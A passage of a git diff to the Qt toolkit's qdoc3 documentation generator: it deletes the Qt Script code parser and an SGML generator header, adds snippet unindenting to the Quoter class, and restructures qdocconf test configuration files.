-                else if ((*c)->type() == Node::Function)  {
-		    FunctionNode *func = (FunctionNode *) *c;
-		    quickifyFunction(quickClass, qtClass, func,
-				      funcBlackList.contains((*c)->name()) &&
-				      func->parameters().count() < 2);
-		}
-	    }
-	    ++c;
-	}
-    }
-    setQtDoc(quickClass, qtClass->doc());
-    classesWithNoQuickDoc.insert(quickClass->name(), quickClass);
-}
-
-void QsCodeParser::quickifyEnum(ClassNode *quickClass, EnumNode *enume)
-{
-    EnumNode *quickEnum = new EnumNode(quickClass, enume->name());
-    quickEnum->setLocation(enume->location());
-#if 0 // ### not yet
-    quickEnum->setAccess(Node::Protected);
-#endif
-
-    QList<EnumItem>::ConstIterator it = enume->items().begin();
-    while (it != enume->items().end()) {
-	QString name = (*it).name();
-	QString value = (*it).value();
-	quickEnum->addItem(EnumItem(name, value));
-	++it;
-    }
-    setQtDoc(quickEnum, enume->doc());
-}
-
-void QsCodeParser::quickifyFunction(ClassNode *quickClass, ClassNode *qtClass,
-				     FunctionNode *func, bool onBlackList)
-{
-    if (func->metaness() == FunctionNode::Dtor)
-	return;
-
-    FunctionNode *kernelFunc = findKernelFunction(
-	    QStringList() << quickClass->name(), func->name());
-
-    QString quickName = func->name();
-    if (func->metaness() == FunctionNode::Ctor)
-	quickName = quickClass->name();
-    FunctionNode *quickFunc = new FunctionNode(quickClass, quickName);
-    quickFunc->setLocation(func->location());
-
-    if (onBlackList) {
-	quickFunc->setAccess(Node::Protected);
-    }
-    else {
-	if (kernelFunc != 0 && func->numOverloads() == 1 &&
-	     (func->parameters().count() == 0 ||
-	      func->parameters().last().defaultValue().isEmpty())) {
-	    kernelFunc->setAccess(Node::Private);
-	}
-        else {
-	    if (func->metaness() == FunctionNode::Plain)
-		quickFunc->setAccess(Node::Protected);
-	}
-    }
-
-    quickFunc->setReturnType(cpp2qs.convertedDataType(qsTre,
-						       func->returnType()));
-    if (func->metaness() != FunctionNode::Slot)
-	quickFunc->setMetaness(func->metaness());
-    quickFunc->setVirtualness(FunctionNode::ImpureVirtual);
-    quickFunc->setOverload(func->isOverload());
-
-    QList<Parameter>::ConstIterator q = func->parameters().begin();
-    while (q != func->parameters().end()) {
-	QString dataType = cpp2qs.convertedDataType(qsTre, (*q).leftType(),
-						     (*q).rightType());
-	if (dataType.isEmpty()) {
-	    dataType = "UNKNOWN";
-	    quickFunc->setAccess(Node::Private);
-	}
-	Parameter param(dataType, "", (*q).name(),
-			 (*q).defaultValue().isEmpty() ? "" : "undefined");
-	quickFunc->addParameter(param);
-	++q;
-    }
-
-    if (func->doc().isEmpty()) {
-	if (func->parent() != (InnerNode *) qtClass) {
-	    func = qtClass->findFunctionNode(func);
-	    if (func != 0)
-		setQtDoc(quickFunc, func->doc());
-	}
-    }
-    else {
-	setQtDoc(quickFunc, func->doc());
-    }
-}
-
-void QsCodeParser::quickifyProperty(ClassNode *quickClass,
-                                    ClassNode * /* qtClass */,
-				    PropertyNode *property)
-{
-    PropertyNode *quickProperty = new PropertyNode(quickClass,
-                                                   property->name());
-    quickProperty->setLocation(property->location());
-    quickProperty->setDataType(cpp2qs.convertedDataType(qsTre,
-                                                        property->dataType()));
-#if 0
-    quickProperty->setGetter(property->getter());
-    quickProperty->setSetter(property->setter());
-    quickProperty->setResetter(property->resetter());
-#endif
-    quickProperty->setStored(property->isStored());
-    quickProperty->setDesignable(property->isDesignable());
-
-    setQtDoc(quickProperty, property->doc());
-}
-
-QString QsCodeParser::quickifiedDoc(const QString& source)
-{
-    QString result;
-    int i = 0;
-
-    while (i < (int) source.length()) {
-	if (leftWordBoundary(source, i)) {
-	    if (source[i] == 'Q') {
-		if (source[i + 1] == 'C' && source.mid(i, 8) == "QCString") {
-		    i += 2;
-		}
-                else {
-		    int end = i + 1;
-		    while (isWord(source[end]))
-			++end;
-		    if (!classesWithNoQ.contains(
-				  source.mid(i + 1, end - (i + 1))))
-			result += "Q";
-		    i++;
-		}
-	    }
-            else if (source[i] == 'T' && source.mid(i, 4) == "TRUE" &&
-			rightWordBoundary(source, i + 4)) {
-		result += "\\c{true}";
-		i += 4;
-	    }
-            else if (source[i] == 'F' && source.mid(i, 5) == "FALSE" &&
-			rightWordBoundary(source, i + 5)) {
-		result += "\\c{false}";
-		i += 5;
-	    }
-            else if (source[i] == 'c' && source.mid(i, 6) == "const ") {
-		i += 6;
-	    }
-            else {
-		result += source[i++];
-	    }
-	}
-        else if ((source[i] == ':' && source[i + 1] == ':') ||
-		    (source[i] == '-' && source[i + 1] == '>')) {
-	    result += '.';
-	    i += 2;
-	}
-        else if (source[i] == '\\') {
-	    // ### make independent of the command name
-	    if (source.mid(i, 5) == "\\code") {
-		do {
-		    result += source[i++];
-		} while (source[i - 1] != '\n');
-
-		int begin = i;
-		int end = source.indexOf("\\endcode", i);
-		if (end != -1) {
-		    QString code = source.mid(begin, end - begin);
-		    result += cpp2qs.convertedCode(qsTre, code,
-						    classesWithNoQ);
-		    i = end;
-		}
-	    }
-            else {
-		result += source[i++];
-	    }
-	}
-        else {
-	    result += source[i++];
-	}
-    }
-
-    QList<QRegExp>::ConstIterator b = replaceBefores.begin();
-    QStringList::ConstIterator a = replaceAfters.begin();
-    while (a != replaceAfters.end()) {
-	result.replace(*b, *a);
-	++b;
-	++a;
-    }
-    return result;
-}
-
-void QsCodeParser::setQtDoc(Node *quickNode, const Doc& doc)
-{
-    if (!doc.isEmpty()) {
-	Doc quickDoc(doc.location(), doc.location(),
-                     quickifiedDoc(doc.source()),
-		     CppCodeParser::topicCommands() +
-                     CppCodeParser::otherMetaCommands());
-	quickNode->setDoc(quickDoc, true);
-    }
-}
-
-void QsCodeParser::setQuickDoc(Node *quickNode,
-                               const Doc& doc,
-                               const QStringList& qtParams,
-                               const QStringList& quickParams)
-{
-    QRegExp quickifyCommand("\\\\" + COMMAND_QUICKIFY + "([^\n]*)(?:\n|$)");
-
-    if (quickNode->type() == Node::Function) {
-	FunctionNode *quickFunc = (FunctionNode *) quickNode;
-	quickFunc->setOverload(false);
-    }
-
-    if (doc.metaCommandsUsed().contains(COMMAND_QUICKIFY)) {
-	QString source = doc.source();
-	int pos = source.indexOf(quickifyCommand);
-	if (pos != -1) {
-	    QString quickifiedSource = quickNode->doc().source();
-	    if (!qtParams.isEmpty() && qtParams != quickParams)
-		renameParameters(quickifiedSource, doc, qtParams,
-				  quickParams);
-	    applyReplacementList(quickifiedSource, doc);
-
-	    do {
-		QString extract = quickifiedSource;
-		QString arg = quickifyCommand.cap(1).simplified();
-		if (!arg.isEmpty()) {
-		    if (arg.startsWith("/") && arg.endsWith("/") &&
-			 arg.length() > 2) {
-			QString pattern = arg.mid(1, arg.length() - 2);
-			extractRegExp(QRegExp(pattern), extract, doc);
-		    }
-                    else {
-			extractTarget(arg, extract, doc);
-		    }
-		}
-		source.replace(pos, quickifyCommand.matchedLength(), extract);
-		pos += extract.length();
-	    } while ((pos = source.indexOf(quickifyCommand, pos)) != -1);
-
-	    QRegExp quickcodeRegExp(
-		    "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" +
-		    COMMAND_ENDQUICKCODE);
-	    quickcodeRegExp.setMinimal(true);
-	    source.replace(quickcodeRegExp, "");
-	}
-
-	Doc quickDoc(doc.location(),
-                     doc.location(),
-                     source,
-                     (CppCodeParser::topicCommands() + topicCommands() +
-                      CppCodeParser::otherMetaCommands()) << COMMAND_REPLACE);
-	quickNode->setDoc(quickDoc, true);
-	processOtherMetaCommands(quickDoc, quickNode);
-    }
-    else {
-	quickNode->setDoc(doc, true);
-	processOtherMetaCommands(doc, quickNode);
-    }
-}
-
-bool QsCodeParser::makeFunctionNode(const QString& synopsis,
-				     QStringList *parentPathPtr,
-				     FunctionNode **funcPtr)
-{
-    QRegExp funcRegExp(
-	    "\\s*([A-Za-z0-9_]+)\\.([A-Za-z0-9_]+)\\s*\\((" +
-            balancedParens +
-	    ")\\)(?:\\s*:\\s*([A-Za-z0-9_]+))?\\s*");
-    QRegExp paramRegExp(
-	    "\\s*(\\[)?\\s*(?:([A-Za-z0-9_]+)\\s*:\\s*)?"
-	    "([A-Za-z0-9_]+|\\.\\.\\.)\\s*(\\[)?[\\s\\]]*");
-
-    if (!funcRegExp.exactMatch(synopsis))
-	return false;
-
-    ClassNode *classe = (ClassNode*)
-        qsTre->findNode(QStringList(funcRegExp.cap(1)),Node::Class);
-    if (classe == 0)
-	return false;
-
-    FunctionNode *clone = new FunctionNode(0, funcRegExp.cap(2));
-    bool optional = false;
-
-    QString paramStr = funcRegExp.cap(3);
-    QStringList params = paramStr.split(",");
-    QStringList::ConstIterator p = params.begin();
-    while (p != params.end()) {
-	if (paramRegExp.exactMatch(*p)) {
-	    if (!paramRegExp.cap(1).isEmpty())
-		optional = true;
-	    clone->addParameter(Parameter(paramRegExp.cap(3),
-                                          "",
-                                          paramRegExp.cap(2),
-                                          optional ? "undefined" : ""));
-	    if (!paramRegExp.cap(4).isEmpty())
-		optional = true;
-	}
-        else {
-	    delete clone;
-	    return false;
-	}
-	++p;
-    }
-    QString returnType = funcRegExp.cap(4);
-    if (!returnType.isEmpty())
-	clone->setReturnType(returnType);
-    if (parentPathPtr != 0)
-	*parentPathPtr = QStringList() << classe->name();
-    if (funcPtr != 0) {
-	*funcPtr = clone;
-    }
-    else {
-	delete clone;
-    }
-    return true;
-}
-
-bool QsCodeParser::isWord(QChar ch)
-{
-    return ch.isLetterOrNumber() || ch == QChar('_');
-}
-
-bool QsCodeParser::leftWordBoundary(const QString& str, int pos)
-{
-    return !isWord(str[pos - 1]) && isWord(str[pos]);
-}
-
-bool QsCodeParser::rightWordBoundary(const QString& str, int pos)
-{
-    return isWord(str[pos - 1]) && !isWord(str[pos]);
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/qscodeparser.h b/tools/qdoc3/qscodeparser.h
deleted file mode 100644
index 35b05e1..0000000
--- a/tools/qdoc3/qscodeparser.h
+++ /dev/null
@@ -1,128 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  qscodeparser.h
-*/
-
-#ifndef QSCODEPARSER_H
-#define QSCODEPARSER_H
-
-#include "cppcodeparser.h"
-#include "cpptoqsconverter.h"
-
-QT_BEGIN_NAMESPACE
-
-class QsCodeParser : public CppCodeParser
-{
- public:
-    QsCodeParser(Tree *cppTree);
-    ~QsCodeParser();
-
-    virtual void initializeParser(const Config& config);
-    virtual void terminateParser();
-    virtual QString language();
-    virtual QString headerFileNameFilter();
-    virtual QString sourceFileNameFilter();
-    virtual void parseHeaderFile(const Location& location,
-                                 const QString& filePath, Tree *tree);
-    virtual void parseSourceFile(const Location& location,
-                                 const QString& filePath, Tree *tree);
-    virtual void doneParsingHeaderFiles(Tree *tree);
-    virtual void doneParsingSourceFiles(Tree *tree);
-
-    FunctionNode *findFunctionNode(const QString& synopsis, Tree *tree);
-
- protected:
-    virtual QSet<QString> topicCommands();
-    virtual Node *processTopicCommand(const Doc& doc, const QString& command,
-                                      const QString& arg);
-    virtual QSet<QString> otherMetaCommands();
-    virtual void processOtherMetaCommand(const Doc& doc,
-                                         const QString& command,
-                                         const QString& arg, Node *node);
-
- private:
-    ClassNode *tryClass(const QString& className);
-    FunctionNode *findKernelFunction(const QStringList& parentPath,
-                                     const QString& name);
-    void extractRegExp(const QRegExp& regExp, QString& source,
-                       const Doc& doc);
-    void extractTarget(const QString& target, QString& source,
-                       const Doc& doc);
-    void renameParameters(QString& source, const Doc& doc,
-                          const QStringList& qtNames,
-                          const QStringList& quickNames);
-    void applyReplacementList(QString& source, const Doc& doc);
-    void quickifyClass(ClassNode *quickClass);
-    void quickifyEnum(ClassNode *quickClass, EnumNode *enume);
-    void quickifyFunction(ClassNode *quickClass, ClassNode *qtClass,
-                          FunctionNode *func, bool onBlackList);
-    void quickifyProperty(ClassNode *quickClass, ClassNode *qtClass,
-                          PropertyNode *property);
-    QString quickifiedDoc(const QString& source);
-    void setQtDoc(Node *quickNode, const Doc& doc);
-    void setQuickDoc(Node *quickNode, const Doc& doc,
-                     const QStringList& qtParams = QStringList(),
-                     const QStringList& quickParams = QStringList());
-    bool makeFunctionNode(const QString& synopsis, QStringList *parentPathPtr,
-                          FunctionNode **funcPtr);
-
-    static bool isWord(QChar ch);
-    static bool leftWordBoundary(const QString& str, int pos);
-    static bool rightWordBoundary(const QString& str, int pos);
-
-    QMap<QString,Node::Type>    nodeTypeMap;
-    QMap<QString,Node*>         classesWithNoQuickDoc;
-    QList<QRegExp>              replaceBefores;
-    QStringList                 replaceAfters;
-    QSet<QString>               classesWithNoQ;
-    Tree*                       cppTre;
-    Tree*                       qsTre;
-    QRegExp                     replaceRegExp;
-    CppToQsConverter            cpp2qs;
-
-    static int                  tabSize;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp
index 1892f89..dadf67c 100644
--- a/tools/qdoc3/quoter.cpp
+++ b/tools/qdoc3/quoter.cpp
@@ -41,7 +41,6 @@
 
 #include <qfileinfo.h>
 #include <qregexp.h>
-#include <qdebug.h>
 
 #include "quoter.h"
 
@@ -123,9 +122,9 @@ Quoter::Quoter()
     /* We're going to hard code these delimiters:
         * C++, Qt, Qt Script, Java:
           //! [<id>]
-        * .pro files:
+        * .pro, .py files:
           #! [<id>]
-        * .xq, .xml, .html files:
+        * .html, .qrc, .ui, .xq, .xml files:
           <!-- [<id>] -->
     */
     commentHash["pro"] = "#!";
@@ -222,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
     QString comment = commentForCode();
     QString delimiter = comment + QString(" [%1]").arg(identifier);
     QString t;
+    int indent = 0;
 
     while (!plainLines.isEmpty()) {
         if (match(docLocation, delimiter, plainLines.first())) {
-            getLine();
+            QString startLine = getLine();
+            while (indent < startLine.length() && startLine[indent] == QLatin1Char(' '))
+                indent++;
             break;
         }
         getLine();
@@ -233,33 +235,24 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
     while (!plainLines.isEmpty()) {
         QString line = plainLines.first();
         if (match(docLocation, delimiter, line)) {
-            QString lastLine = getLine();
+            QString lastLine = getLine(indent);
             int dIndex = lastLine.indexOf(delimiter);
             if (dIndex > 0) {
+                // The delimiter might be preceded on the line by other
+                // delimeters, so look for the first comment on the line.
                 QString leading = lastLine.left(dIndex);
                 dIndex = leading.indexOf(comment);
                 if (dIndex != -1)
                     leading = leading.left(dIndex);
+                if (leading.endsWith(QLatin1String("<@comment>")))
+                    leading.chop(10);
                 if (!leading.trimmed().isEmpty())
                     t += leading;
             }
             return t;
         }
-        // Remove special macros to support Qt namespacing.
-	if (line.startsWith("QT_BEGIN_NAMESPACE")) {
-            getLine();
-        } else if (line.startsWith("QT_END_NAMESPACE")) {
-            getLine();
-            t += QLatin1Char('\n');
-        } else if (!line.startsWith(comment)) {
-            // Ordinary code
-            t += getLine();
-        } else {
-            // Normal comments
-            if (line.contains(QLatin1Char('\n')))
-                t += QLatin1Char('\n');
-            getLine();
-        }
+
+        t += removeSpecialLines(line, comment, indent);
     }
     failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter));
     return t;
@@ -274,21 +267,7 @@ QString Quoter::quoteTo( const Location& docLocation, const QString& command,
     if ( pattern.isEmpty() ) {
         while ( !plainLines.isEmpty() ) {
             QString line = plainLines.first();
-            // Remove special macros to support Qt namespacing.
-	    if (line.startsWith("QT_BEGIN_NAMESPACE")) {
-                getLine();
-            } else if (line.startsWith("QT_END_NAMESPACE")) {
-                getLine();
-                t += QLatin1Char('\n');
-            } else if (!line.startsWith(comment))
-                // Ordinary code
-                t += getLine();
-            else {
-                // Normal comments
-                if (line.contains(QLatin1Char('\n')))
-                    t += QLatin1Char('\n');
-                getLine();
-            }
+            t += removeSpecialLines(line, comment);
         }
     } else {
         while ( !plainLines.isEmpty() ) {
@@ -310,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command,
     return t;
 }
 
-QString Quoter::getLine()
+QString Quoter::getLine(int unindent)
 {
     if ( plainLines.isEmpty() )
         return QString();
@@ -318,6 +297,11 @@ QString Quoter::getLine()
     plainLines.removeFirst();
 
     QString t = markedLines.takeFirst();
+    int i = 0;
+    while (i < unindent && i < t.length() && t[i] == QLatin1Char(' '))
+        i++;
+
+    t = t.mid(i);
     t += QLatin1Char('\n');
     codeLocation.advanceLines( t.count( QLatin1Char('\n') ) );
     return t;
@@ -366,4 +350,27 @@ QString Quoter::commentForCode() const
     return commentHash.value(suffix, "//!");
 }
 
+QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent)
+{
+    QString t;
+
+    // Remove special macros to support Qt namespacing.
+    QString trimmed = line.trimmed();
+    if (trimmed.startsWith("QT_BEGIN_NAMESPACE")) {
+        getLine();
+    } else if (trimmed.startsWith("QT_END_NAMESPACE")) {
+        getLine();
+        t += QLatin1Char('\n');
+    } else if (!trimmed.startsWith(comment)) {
+        // Ordinary code
+        t += getLine(unindent);
+    } else {
+        // Comments
+        if (line.contains(QLatin1Char('\n')))
+            t += QLatin1Char('\n');
+        getLine();
+    }
+    return t;
+}
+
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h
index 793d115..6a59ab4 100644
--- a/tools/qdoc3/quoter.h
+++ b/tools/qdoc3/quoter.h
@@ -70,11 +70,13 @@ public:
     QString quoteSnippet(const Location &docLocation, const QString &identifier);
 
 private:
-    QString getLine();
+    QString getLine(int unindent = 0);
     void failedAtEnd( const Location& docLocation, const QString& command );
     bool match( const Location& docLocation, const QString& pattern,
     		const QString& line );
     QString commentForCode() const;
+    QString removeSpecialLines(const QString &line, const QString &comment,
+                               int unindent = 0);
 
     bool silent; 
     bool validRegExp;
diff --git a/tools/qdoc3/sgmlgenerator.h b/tools/qdoc3/sgmlgenerator.h
deleted file mode 100644
index 0e006e9..0000000
--- a/tools/qdoc3/sgmlgenerator.h
+++ /dev/null
@@ -1,67 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  sgmlgenerator.h
-*/
-
-#ifndef SGMLGENERATOR_H
-#define SGMLGENERATOR_H
-
-#include "bookgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-class SgmlGenerator : public BookGenerator
-{
-public:
-    SgmlGenerator();
-    ~SgmlGenerator();
-
-    virtual QString format();
-
-protected:
-    // ###
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/test/compat.qdocconf b/tools/qdoc3/test/compat.qdocconf
index 5745ed9..0b59629 100644
--- a/tools/qdoc3/test/compat.qdocconf
+++ b/tools/qdoc3/test/compat.qdocconf
@@ -1,5 +1,5 @@
-alias.i				= e
-alias.include			= input
+alias.i                         = e
+alias.include                   = input
 
 macro.0                         = "\\\\0"
 macro.b                         = "\\\\b"
@@ -27,5 +27,5 @@ macro.img                       = "\\image"
 macro.endquote                  = "\\endquotation"
 macro.relatesto                 = "\\relates"
 
-spurious			= "Missing comma in .*" \
-				  "Missing pattern .*"
+spurious                        = "Missing comma in .*" \
+                                  "Missing pattern .*"
diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf
index 510a8b3..2262daa 100644
--- a/tools/qdoc3/test/macros.qdocconf
+++ b/tools/qdoc3/test/macros.qdocconf
@@ -34,3 +34,4 @@ macro.beginfloatleft.HTML   = "<div style=\"float: left; margin-right: 2em\">"
 macro.beginfloatright.HTML  = "<div style=\"float: right; margin-left: 2em\">"
 macro.endfloat.HTML         = "</div>"
 macro.clearfloat.HTML       = "<br style=\"clear: both\" />"
+macro.emptyspan.HTML	    = "<span></span>"
diff --git a/tools/qdoc3/test/qt-api-only.qdocconf b/tools/qdoc3/test/qt-api-only.qdocconf
index cdd7a7c..36637d2 100644
--- a/tools/qdoc3/test/qt-api-only.qdocconf
+++ b/tools/qdoc3/test/qt-api-only.qdocconf
@@ -1,34 +1,2 @@
 include(qt-build-docs.qdocconf)
-
-# Ensures that the generated index contains a URL that can be used by the
-# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf,
-# qmake.qdocconf).
-
-url                     = ./
-
-# Ensures that the documentation for the tools is not included in the generated
-# .qhp file.
-
-qhp.Qt.excluded  += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \
-                    $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \
-                    $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \
-                    $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \
-                    $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc
-
-# Remove the QML documentation from the Qt-only documentation.
-
-excludedirs += $QT_SOURCE_TREE/src/imports
-
-outputdir         = $QT_BUILD_TREE/doc-build/html-qt
-tagfile           = $QT_BUILD_TREE/doc-build/html-qt/qt.tags
-base              = file:$QT_BUILD_TREE/doc-build/html-qt
+include(qt-project-api-only.qdocconf)
diff --git a/tools/qdoc3/test/qt-build-docs-online.qdocconf b/tools/qdoc3/test/qt-build-docs-online.qdocconf
new file mode 100644
index 0000000..2962845
--- /dev/null
+++ b/tools/qdoc3/test/qt-build-docs-online.qdocconf
@@ -0,0 +1,2 @@
+include(qt-project.qdocconf)
+include(qt-html-templates-online.qdocconf)
diff --git a/tools/qdoc3/test/qt-build-docs.qdocconf b/tools/qdoc3/test/qt-build-docs.qdocconf
index e642559..4dbe1cd 100644
--- a/tools/qdoc3/test/qt-build-docs.qdocconf
+++ b/tools/qdoc3/test/qt-build-docs.qdocconf
@@ -1,151 +1,2 @@
-include(compat.qdocconf)
-include(macros.qdocconf)
-include(qt-cpp-ignore.qdocconf)
+include(qt-project.qdocconf)
 include(qt-html-templates.qdocconf)
-include(qt-defines.qdocconf)
-
-project                 = Qt
-description             = Qt Reference Documentation
-url                     = http://qt.nokia.com/doc/4.8
-
-sourceencoding          = UTF-8
-outputencoding          = UTF-8
-naturallanguage         = en_US
-
-qhp.projects            = Qt
-
-qhp.Qt.file                = qt.qhp
-qhp.Qt.namespace           = com.trolltech.qt.480
-qhp.Qt.virtualFolder       = qdoc
-qhp.Qt.indexTitle          = Qt Reference Documentation
-qhp.Qt.indexRoot           =
-
-# Files not referenced in any qdoc file (last four are needed by qtdemo)
-# See also extraimages.HTML
-qhp.Qt.extraFiles          = index.html \
-                             images/bg_l.png \
-                             images/bg_l_blank.png \
-			     images/bg_ll_blank.png \
-			     images/bg_ul_blank.png \
-			     images/header_bg.png \
-                             images/bg_r.png \
-                             images/box_bg.png \
-                             images/breadcrumb.png \
-                             images/bullet_gt.png \
-                             images/bullet_dn.png \
-                             images/bullet_sq.png \
-                             images/bullet_up.png \
-                             images/arrow_down.png \
-                             images/feedbackground.png \
-                             images/horBar.png \
-                             images/page.png \
-                             images/page_bg.png \
-                             images/sprites-combined.png \
-                             images/spinner.gif \
-                             images/stylesheet-coffee-plastique.png \
-                             images/taskmenuextension-example.png \
-                             images/coloreditorfactoryimage.png \
-                             images/dynamiclayouts-example.png \
-                             scripts/functions.js \
-                             scripts/jquery.js \
-                             scripts/narrow.js \
-                             scripts/superfish.js \
-                             style/narrow.css \
-                             style/superfish.css \
-                             style/style_ie6.css \
-                             style/style_ie7.css \
-                             style/style_ie8.css \
-                             style/style.css
-
-
-
-qhp.Qt.filterAttributes    = qt 4.8.0 qtrefdoc
-qhp.Qt.customFilters.Qt.name = Qt 4.8.0
-qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0
-qhp.Qt.subprojects         = classes qmlelements overviews examples
-qhp.Qt.subprojects.classes.title = Classes
-qhp.Qt.subprojects.classes.indexTitle = All Classes
-qhp.Qt.subprojects.classes.selectors = class fake:headerfile
-qhp.Qt.subprojects.classes.sortPages = true
-qhp.Qt.subprojects.qmlelements.title = QML Elements
-qhp.Qt.subprojects.qmlelements.indexTitle = QML Elements
-qhp.Qt.subprojects.qmlelements.selectors = fake:qmlclass
-qhp.Qt.subprojects.qmlelements.sortPages = true
-qhp.Qt.subprojects.overviews.title = Overviews
-qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs
-qhp.Qt.subprojects.overviews.selectors = fake:page,group,module
-qhp.Qt.subprojects.examples.title = Tutorials and Examples
-qhp.Qt.subprojects.examples.indexTitle = Qt Examples
-qhp.Qt.subprojects.examples.selectors = fake:example
-
-language                = Cpp
-
-headerdirs              = $QT_SOURCE_TREE/src \
-                          $QT_SOURCE_TREE/extensions/activeqt \
-                          $QT_SOURCE_TREE/tools/assistant/lib \
-                          $QT_SOURCE_TREE/tools/assistant/compat/lib \
-                          $QT_SOURCE_TREE/tools/designer/src/uitools \
-                          $QT_SOURCE_TREE/tools/designer/src/lib/extension \
-                          $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
-                          $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
-                          $QT_SOURCE_TREE/tools/qtestlib/src \
-                          $QT_SOURCE_TREE/tools/qdbus/src
-sourcedirs              = $QT_SOURCE_TREE/src \
-                          $QT_SOURCE_TREE/doc/src \
-                          $QT_SOURCE_TREE/extensions/activeqt \
-                          $QT_SOURCE_TREE/tools/assistant/lib \
-                          $QT_SOURCE_TREE/tools/assistant/compat/lib \
-                          $QT_SOURCE_TREE/tools/designer/src/uitools \
-                          $QT_SOURCE_TREE/tools/designer/src/lib/extension \
-                          $QT_SOURCE_TREE/tools/designer/src/lib/sdk \
-                          $QT_SOURCE_TREE/tools/designer/src/lib/uilib \
-                          $QT_SOURCE_TREE/tools/qtestlib/src \
-                          $QT_SOURCE_TREE/tools/qdbus
-
-excludedirs             = $QT_SOURCE_TREE/src/3rdparty/clucene \
-                          $QT_SOURCE_TREE/src/3rdparty/des \
-                          $QT_SOURCE_TREE/src/3rdparty/freetype \
-                          $QT_SOURCE_TREE/src/3rdparty/harfbuzz \
-                          $QT_SOURCE_TREE/src/3rdparty/kdebase \
-                          $QT_SOURCE_TREE/src/3rdparty/libconninet \
-                          $QT_SOURCE_TREE/src/3rdparty/libjpeg \
-                          $QT_SOURCE_TREE/src/3rdparty/libmng \
-                          $QT_SOURCE_TREE/src/3rdparty/libpng \
-                          $QT_SOURCE_TREE/src/3rdparty/libtiff \
-                          $QT_SOURCE_TREE/src/3rdparty/md4 \
-                          $QT_SOURCE_TREE/src/3rdparty/md5 \
-                          $QT_SOURCE_TREE/src/3rdparty/patches \
-                          $QT_SOURCE_TREE/src/3rdparty/sha1 \
-                          $QT_SOURCE_TREE/src/3rdparty/sqlite \
-                          $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \
-                          $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \
-                          $QT_SOURCE_TREE/src/3rdparty/wintab \
-                          $QT_SOURCE_TREE/src/3rdparty/zlib \
